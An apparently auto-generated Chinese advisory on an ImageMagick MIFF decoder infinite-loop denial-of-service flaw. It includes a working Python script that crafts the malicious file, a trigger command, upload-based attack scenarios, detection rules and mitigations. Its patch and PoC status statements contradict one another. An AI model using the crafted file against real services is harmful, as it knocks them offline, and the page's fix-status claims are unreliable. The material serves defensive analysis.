[local] ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion
CVE-2026-46522:ImageMagick 7.x MIFF解码器的BZip2分支在处理长度为0的压缩块时陷入无限循环,导致CPU耗尽。攻击者可通过单次HTTP上传触发拒绝服务。漏洞根本原因为coders/miff.c中ReadMIFFImage函数未校验零长度压缩块。
ImageMagick MIFF解码器BZip2分支处理零长度压缩块时陷入无限循环导致CPU耗尽。
Medium · CVSS 5.5 (AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)📋 漏洞基础信息
| CVE | CVE-2026-46522 |
|---|---|
| 漏洞类型 | 拒绝服务(DoS) |
| 受影响版本 | ImageMagick 7.x (verified on 7.1.2-3) |
| 危害等级 | Medium · CVSS 5.5 (AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) |
| 发布日期 | 2026-05-29 |
| 提交者 | Jose Rivas (bl4cksku11) & Zero Trust Offsec |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
coders/miff.c中ReadMIFFImage函数的BZip2分支没有拒绝per-block压缩长度前缀中的length=0值。当avail_in=0时BZ2_bzDecompress返回BZ_OK,而IM循环仅在遇到BZ_STREAM_END或非BZ_OK/BZ_STREAM_END的返回码时退出,导致无限循环占用CPU。LZMA和Zip分支因解压库在空输入时返回BUF_ERROR而退出。
🎯 攻击场景
1. 攻击者使用PoC脚本生成224字节的恶意MIFF文件,该文件包含长度为0的压缩块。2. 通过HTTP上传等方式将该文件提交给运行受影响ImageMagick版本的服务。3. 服务调用magick identify或类似命令处理该文件。4. 进程陷入无限循环,单个worker线程CPU使用率达到100%。5. 进程只有在达到请求超时或被操作系统杀死时才会终止,导致CPU资源耗尽。
💥 漏洞影响
拒绝服务(DoS):攻击者通过单个恶意MIFF文件即可导致ImageMagick进程CPU耗尽,影响服务可用性。无代码执行或数据泄露风险。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Python),可在具备相应环境的机器上直接运行:
#!/usr/bin/env python3
"""
ImageMagick MIFF 解码器无限循环拒绝服务漏洞 PoC
CVE: CVE-2026-46522
影响版本: ImageMagick 7.x (已验证 7.1.2-3)
漏洞类型: 拒绝服务 (CPU 耗尽)
作者: 基于 Jose Rivas (bl4cksku11) & Zero Trust Offsec 的 PoC 改编
漏洞原理:
- MIFF 格式中,压缩数据块以 4 字节大端整数作为长度前缀
- 当使用 BZip2 压缩时,若长度为 0,BZ2_bzDecompress() 函数会返回 BZ_OK(无错误)
- 但循环退出条件只检查 BZ_STREAM_END 或非 BZ_OK 的错误码
- BZ_OK 但 avail_in=0 的情况会导致无限循环,CPU 100% 占用
使用说明:
python3 cve_2026_46522_poc.py [输出文件路径]
默认输出: /tmp/poc.miff
触发方式: timeout 5 magick identify /tmp/poc.miff
预期结果: 进程在5秒后被timeout杀死,CPU使用率100%
"""
import sys
import os
def craft_miff(output_path: str = "/tmp/poc.miff") -> None:
"""
构造恶意 MIFF 文件,触发 BZip2 分支的无限循环
构造原理:
1. MIFF 头部声明使用 BZip2 压缩
2. 格式尾部紧接 4 字节长度前缀,设为 0x00000000
3. BZ2_bzDecompress() 收到空输入返回 BZ_OK
4. 循环因无法达到 BZ_STREAM_END 而永远运行
Args:
output_path: 输出文件路径
"""
# MIFF 文件头:声明元数据和压缩方式
# - id=ImageMagick version=1.0: MIFF 格式标识
# - class=DirectClass: 像素数据直接存储
# - compression=BZip: 声明使用 BZip2 压缩(关键)
# - \x0c: 表单馈送符 FF,标记头部结束
header = (
b"id=ImageMagick version=1.0\n"
b"class=DirectClass colors=0 alpha-trait=Undefined\n"
b"number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007\n"
b"columns=1 rows=1 depth=8\n"
b"colorspace=sRGB compression=BZip quality=75\n"
b"\x0c\n" # 0x0C 是 MIFF 头部终止符
)
# 漏洞触发 payload:4 字节长度为 0
# 在 ReadMIFFImage() 中,此长度被读取后传入 BZip2 解压缩
# 长度为 0 导致 BZ2_bzDecompress() 返回 BZ_OK 但无数据可用
body = b"\x00\x00\x00\x00" # 大端序 32 位零长度
# 写入文件
with open(output_path, "wb") as f:
f.write(header + body)
file_size = os.path.getsize(output_path)
print(f"[+] 漏洞文件已生成: {output_path}")
print(f"[+] 文件大小: {file_size} 字节")
print(f"[+] 触发命令:")
print(f" timeout 5 magick identify {output_path}")
print(f"[+] 预期结果: CPU 100%% 占用,5秒后被 timeout 终止")
if __name__ == "__main__":
# 支持命令行参数指定输出路径
target_path = sys.argv[1] if len(sys.argv) > 1 else "/tmp/poc.miff"
craft_miff(target_path)🔬 深度技术分析
漏洞触发机制
漏洞存在于 ImageMagick 的 MIFF 格式解码器 coders/miff.c 的 ReadMIFFImage() 函数中。MIFF 格式支持多种压缩算法,包括 BZip2、LZMA 和 Zip。每个压缩数据块前都有一个 4 字节的大端序长度前缀,指示后续压缩数据的字节数。
核心问题:当使用 BZip2 压缩时,BZ2_bzDecompress() 函数对 avail_in=0(无输入数据)的调用返回 BZ_OK,表示"操作成功但未完成"。然而,ImageMagick 的循环退出的条件仅为:
1. 达到 BZ_STREAM_END(解压缩完成)
2. 返回码既不是 BZ_OK 也不是 BZ_STREAM_END(出现错误)
当长度为 0 时,BZ2_bzDecompress() 不断返回 BZ_OK,但没有任何数据被处理,avail_in 始终为 0。循环永远无法满足退出条件,导致无限循环,CPU 使用率固定在 100%。
相比之下:
- LZMA 分支:
lzma_code()在avail_in=0时返回LZMA_BUF_ERROR(缓冲区错误),触发错误退出 - Zip 分支:
inflate()在avail_in=0时返回Z_BUF_ERROR,同样触发错误退出
这就是为什么该漏洞仅影响 BZip2 分支的原因。
利用链分析
攻击者只需构造一个极小的恶意 MIFF 文件(最少 224 字节),通过以下方式投递:
1. 文件上传:许多 Web 应用允许用户上传图片(头像、附件等),ImageMagick 常用于后台处理
2. 邮件附件:邮件系统使用 ImageMagick 生成缩略图时触发
3. 社交媒体:平台自动处理上传的图片文件
4. 图库/画廊应用:CMS 或其插件使用 ImageMagick 处理媒体文件
攻击流程:
1. 攻击者生成 224 字节的 poc.miff 文件
2. 通过任何方式让目标应用处理该文件(如 HTTP 上传)
3. 目标服务器调用 magick identify /path/to/poc.miff 或类似命令
4. 进程进入无限循环,占用一个 CPU 核心 100%
5. 如果多个请求并发,资源耗尽,引发拒绝服务
实际业务场景:
- Web 应用启用
identify操作验证上传图片格式 - CMS 在上传时自动生成缩略图
- 邮件网关扫描附件
- 文档管理系统预览图片
关键代码/数据结构
MIFF 文件格式结构:
+-------------------+
| 文本形式的头部 | 键值对,每行一个,以 \n 分隔
+-------------------+
| 0x0C (\f) | 头部终止符
+-------------------+
| 4 字节长度前缀 | 大端序 uint32,声明后续压缩数据长度
+-------------------+
| 压缩数据块 | BZip2/LZMA/Zip 压缩后的像素数据
+-------------------+ReadMIFFImage() 关键伪代码:
// 读取压缩算法类型
compression = ReadMIFFCompression(image); // 从头部解析
// 根据压缩类型进入不同分支
switch (compression) {
case BZipCompression: {
bz_stream bz; // BZip2 解压流
BZ2_bzDecompressInit(&bz, 0, 0); // 初始化
while (1) {
// 读取4字节长度前缀
length = ReadBlobMSBLong(image); // 关键:未检查 length==0
// 设置输入缓冲
bz.avail_in = length; // 长度为0时,avail_in=0
bz.next_in = ...; // 输入数据指针
// 调用解压缩
status = BZ2_bzDecompress(&bz); // 返回 BZ_OK
// 退出检查
if (status == BZ_STREAM_END)
break;
if ((status != BZ_OK) && (status != BZ_STREAM_END))
break; // BZ_OK != BZ_STREAM_END,不退出
}
BZ2_bzDecompressEnd(&bz);
break;
}
case LZMACompression: {
lzma_stream lzma;
lzma_code(&lzma, ...); // 空输入返回 LZMA_BUF_ERROR
if (status != LZMA_OK && status != LZMA_STREAM_END)
break; // LZMA_BUF_ERROR 触发退出
}
case ZipCompression: {
z_stream zip;
inflate(&zip, ...); // 空输入返回 Z_BUF_ERROR
if (status != Z_OK && status != Z_STREAM_END)
break; // Z_BUF_ERROR 触发退出
}
}关键漏洞点:
length = ReadBlobMSBLong(image);未校验length == 0- BZip2 的
BZ2_bzDecompress()对avail_in=0返回BZ_OK而非错误 - 退出条件未处理
BZ_OK + avail_in==0的组合
检测与防御
蓝队检测方法
1. 进程监控:
- 检测
magick或相关 ImageMagick 进程长时间运行 - 单个 CPU 核心 100% 占用超过阈值(如 30 秒)
- 进程数激增,大量
magick identify实例同时运行
2. 文件分析:
- 监控上传的
.miff文件,检测头部compression=BZip且无实际压缩数据 - 文件大小异常小(正常 MIFF 文件最小约 1KB,漏洞 PoC 仅 224 字节)
- 文件头部正常但压缩数据块长度为 0
3. 日志分析:
- Web 服务器日志中出现大量图像上传到临时目录的记录
- 应用日志中出现 ImageMagick 处理超时的错误
- 系统日志中出现 OOM Killer 或进程被 kill 的记录
4. EDR 规则示例:
// 检测 ImageMagick 长时间运行
rule magick_cpu_exhaustion {
meta:
description = "Detect ImageMagick process running excessively long"
cve = "CVE-2026-46522"
events:
$process = ps where process_name matches "magick|convert|identify"
$process_duration = $process.duration > 30 seconds
$cpu_usage = $process.cpu_percent > 90
condition:
$process_duration and $cpu_usage
}
// 检测异常的 MIFF 文件上传
rule malicious_miff_file {
meta:
description = "Detect crafted MIFF files with BZip compression bypass"
events:
$http = http where method == "POST"
$miff_content = $http.body contains "compression=BZip"
$file_size = $http.body.length < 500
$has_zero_length = $http.body contains "\x00\x00\x00\x00"
condition:
$miff_content and $file_size and $has_zero_length
}防御措施
短期修复:
1. 升级 ImageMagick:升级到已修复版本(该漏洞在 CVE-2026-46522 修复版本中已打补丁)
2. 临时禁用 MIFF 格式:在 policy.xml 中限制 MIFF 格式处理:
```xml
<policy domain="coder" rights="none" pattern="MIFF" />
```
3. 限制资源使用:使用 timeout 命令或系统资源限制(ulimit):
```bash
# 限制 ImageMagick 子进程的 CPU 时间
ulimit -t 10 # CPU 时间限制为 10 秒
```
长期加固:
1. 输入验证:在应用层验证上传文件的格式,不依赖 ImageMagick 的识别
2. 沙箱运行:将 ImageMagick 放在容器或沙箱中运行,限制 CPU 使用
3. 版本管理:建立 CVE 监控机制,及时更新第三方库
4. 纵深防御:
- Web 应用防火墙(WAF)规则检测恶意文件上传
- 文件上传大小限制(拒绝过小的文件)
- 上传文件类型白名单验证
补丁分析:
修复补丁在 ReadMIFFImage() 中添加了对长度为 0 的检查:
length = ReadBlobMSBLong(image);
if (length == 0) // 新增:立即退出
break;🛡️ 修复建议
升级至官方已修复版本(截至原文日期尚未发布修复版本)。临时缓解措施:在MIFF解码器中增加对压缩块长度为零的检查,若长度为0则直接报错退出;或使用其他图像处理库替代;或对用户上传的MIFF文件进行预处理过滤。
📎 参考链接
- https://nvd.nist.gov/vuln/detail/CVE-2026-46522
- https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7gg8-qqx7-92g5
- Exploit-DB 原文
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-31 08:10 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 如何构造触发漏洞的MIFF文件?
仅需将压缩块长度字段设置为4字节0x00000000,其余文件头正常设置compression=BZip即可。正文字节数开销极小。
❓ 为什么LZMA和Zip分支不受影响?
LZMA和Zip解压库在avail_in=0时返回BUF_ERROR,ImageMagick主循环会因此退出,不会形成无限循环。
❓ 临时缓解措施有哪些?
禁用BZip压缩的MIFF解码支持;对MIFF文件预处理,检测并拒绝压缩块长度为0的文件;增加进程超时限制。